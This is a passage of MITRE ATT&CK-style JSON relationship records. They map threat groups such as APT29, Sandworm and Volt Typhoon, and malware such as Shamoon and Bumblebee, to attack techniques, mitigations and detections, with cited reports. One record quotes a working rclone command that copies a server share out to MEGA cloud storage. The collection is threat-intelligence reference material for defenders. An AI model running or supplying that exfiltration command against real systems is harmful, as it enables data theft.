"Mandiant APT29 Microsoft 365 2022", "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.", "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}, {"source_name": "NCSC et al APT29 2024", "description": "UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.", "url": "https://www.ic3.gov/Media/News/2024/240226.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-08T17:07:34.600Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has enrolled their own devices into compromised cloud tenants, including enrolling a device in MFA to an Azure AD environment following a successful password guessing attack against a dormant account.(Citation: Mandiant APT29 Microsoft 365 2022)(Citation: NCSC et al APT29 2024)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3bd4bd69-b1f6-426a-a63f-b8107eb57f8e", "type": "relationship", "created": "2020-10-22T19:06:15.622Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020."}, {"source_name": "PWC WellMess C2 August 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html", "description": "PWC. (2020, August 17). WellMess malware: analysis of its Command and Control (C2) server. Retrieved September 29, 2020."}], "modified": "2020-10-22T19:06:15.622Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has created self-signed digital certificates to enable mutual TLS authentication for malware.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3bd6c03b-3ae4-4061-a3ce-7a90a62a0e1e", "created": "2022-06-09T14:59:53.259Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MacMa](https://attack.mitre.org/software/S1016) can collect IP addresses from a compromised host.(Citation: ESET DazzleSpy Jan 2022)", "modified": "2022-06-09T14:59:53.259Z", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3bd9165f-6f5f-4c1a-bdbf-47c733d577a8", "type": "relationship", "created": "2020-05-08T18:41:16.430Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Inception Framework March 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", "description": "Symantec. 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When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-08T19:42:36.945Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) can use WinRM for pivoting.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3c4401bf-7a45-4d1d-a4ee-ea00788cd2aa", "type": "relationship", "created": "2021-08-18T20:26:22.041Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-31T15:25:14.376Z", "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used multi-hop proxies to disguise the source of their malicious traffic.(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3c4d8c8f-9676-48c5-b902-e95a2411e266", "type": "relationship", "created": "2019-06-10T17:44:49.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bromium Ursnif Mar 2017", "url": "https://www.bromium.com/how-ursnif-evades-detection/", "description": "Holland, A. (2019, March 7). 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Retrieved July 17, 2019."}], "modified": "2019-10-04T21:56:21.628Z", "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed shutting down infected systems.(Citation: Wired Lockergoga 2019)", "relationship_type": "uses", "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3c8467e6-0878-4c62-afe6-55f124872089", "type": "relationship", "created": "2020-06-10T17:28:46.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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Retrieved May 8, 2020."}], "modified": "2020-05-12T22:22:08.596Z", "description": "[Inception](https://attack.mitre.org/groups/G0100) has enumerated installed software on compromised systems.(Citation: Symantec Inception Framework March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3ca37791-9dad-430f-aee9-0126d13ae932", "type": "relationship", "created": "2019-03-11T15:10:00.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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(2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}], "modified": "2021-04-19T17:52:40.745Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has installed TeamViewer on targeted systems.(Citation: Secureworks BRONZE PRESIDENT December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d3ea12b-fec0-4daa-bb51-190884d88ee0", "type": "relationship", "created": "2020-12-29T18:44:53.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T18:44:53.358Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has installed TightVNC server and client on compromised servers and endpoints for lateral movement.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d3fa163-626d-41b8-85c1-f815c458ad19", "type": "relationship", "created": "2021-03-25T14:49:34.780Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-04-19T19:31:59.961Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has created a Registry Run key named <code>Dropbox Update Setup</code> to establish persistence for a malicious Python binary.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3d4490e3-d3fe-4c2e-8c41-69ebbf8d060e", "created": "2022-09-29T20:21:19.952Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T12:33:34.097Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the [Rclone](https://attack.mitre.org/software/S1040) command `rclone.exe copy --max-age 2y \"\\\\SERVER\\Shares\" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d450e48-e73f-417f-941d-85c8658f5d1f", "type": "relationship", "created": "2020-06-10T21:56:40.250Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BlackEnergy Jan 2016", "url": "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/", "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."}, {"source_name": "ESET Telebots June 2017", "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."}, {"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-03-31T15:59:33.069Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users.(Citation: ESET BlackEnergy Jan 2016)(Citation: ESET Telebots June 2017)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d4737ca-bd18-4628-b453-9aed3f555c13", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "source_name": "Microsoft PLATINUM April 2016"}], "modified": "2019-05-10T12:14:32.059Z", "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has leveraged a zero-day vulnerability to escalate privileges.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d4a9fd6-34cb-4883-a00c-4aea3d00869e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OilRig Sept 2018", "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}], "modified": "2019-04-24T23:40:23.393Z", "description": "[OopsIE](https://attack.mitre.org/software/S0264) has the capability to delete files and scripts from the victim's machine.(Citation: Unit 42 OilRig Sept 2018)", "relationship_type": "uses", "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3d4cb0b5-148f-4e3f-a09f-7a17823b2b56", "created": "2022-09-21T15:38:43.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-10T16:21:15.365Z", "description": "During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used several tools and batch files to map victims' internal networks.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d4dabc2-3bee-409a-a05d-e107677cfdc7", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf", "description": "F-Secure Labs. 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Exfiltration servers can be separately configured from C2 servers.(Citation: F-Secure Cosmicduke)", "relationship_type": "uses", "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d58c303-b76c-4acc-8856-c71e03ea5c44", "type": "relationship", "created": "2019-06-24T13:48:13.673Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-25T18:51:01.214Z", "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers.", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3d5d727d-fa37-4de4-9d31-d8e497c910de", "created": "2021-03-31T12:29:26.807Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kubernetes Hardening Guide", "description": "National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.", "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-15T16:07:57.204Z", "description": "Consider utilizing seccomp, seccomp-bpf, or a similar solution that restricts certain system calls such as mount. In Kubernetes environments, consider defining Pod Security Standards that limit container access to host process namespaces, the host network, and the host file system.(Citation: Kubernetes Hardening Guide)", "relationship_type": "mitigates", "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "target_ref": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3d602fec-cf94-4aa4-a4d9-cad286e6881f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN10 June 2017", "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. 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Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has relied on victims to click on a malicious link send via phishing campaigns.(Citation: ZScaler Squirrelwaffle Sep 2021)", "modified": "2022-08-26T22:08:14.801Z", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3de2faf5-8019-4aad-a317-fb66554cd2c0", "type": "relationship", "created": "2020-08-24T13:43:00.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Preauthentication Jul 2012", "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc961961(v=technet.10)?redirectedfrom=MSDN", "description": "Microsoft. (2012, July 18). Preauthentication. Retrieved August 24, 2020."}, {"source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019", "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/", "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020."}], "modified": "2021-06-07T19:23:33.331Z", "description": "Kerberos preauthentication is enabled by default. Older protocols might not support preauthentication therefore it is possible to have this setting disabled. Make sure that all accounts have preauthentication whenever possible and audit changes to setting. Windows tools such as PowerShell may be used to easily find which accounts have preauthentication disabled.  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(2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. 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(2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}], "modified": "2019-04-24T23:59:16.369Z", "description": "[Shamoon](https://attack.mitre.org/software/S0140) can download an executable to run on the victim.(Citation: Palo Alto Shamoon Nov 2016)", "relationship_type": "uses", "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--3df9c843-4833-45f9-a1ae-f7231d8410c4", "created": "2022-08-29T14:47:07.567Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason Bumblebee August 2022", "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", "description": "Cybereason. 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Retrieved August 29, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can compress data stolen from the Registry and volume shadow copies prior to exfiltration.(Citation: Cybereason Bumblebee August 2022)", "modified": "2022-08-29T14:47:07.567Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e039f64-08da-4bb3-b8d5-1ed6428980ac", "type": "relationship", "created": "2020-05-26T16:17:59.750Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. 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Retrieved May 26, 2020."}], "modified": "2020-05-26T16:17:59.750Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) used malware to download additional malicious files to the target system.(Citation: Talos Rocke August 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3e087d2f-6f33-426d-beb2-b57e69f63d42", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T23:58:25.611Z", "description": "Monitor for changes made to windows Registry keys and/or values that adversaries might use to disable or modify System Firewall settings such as `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy`.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. 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Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-08T17:52:46.448Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run `net group` in compromised environments to discover domain groups.(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3e18f486-1e6f-49fa-8b99-4daf615d3e8d", "type": "relationship", "created": "2020-08-24T14:27:37.363Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."}], "modified": "2020-10-16T21:01:17.193Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501) can install additional modules via C2 commands.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 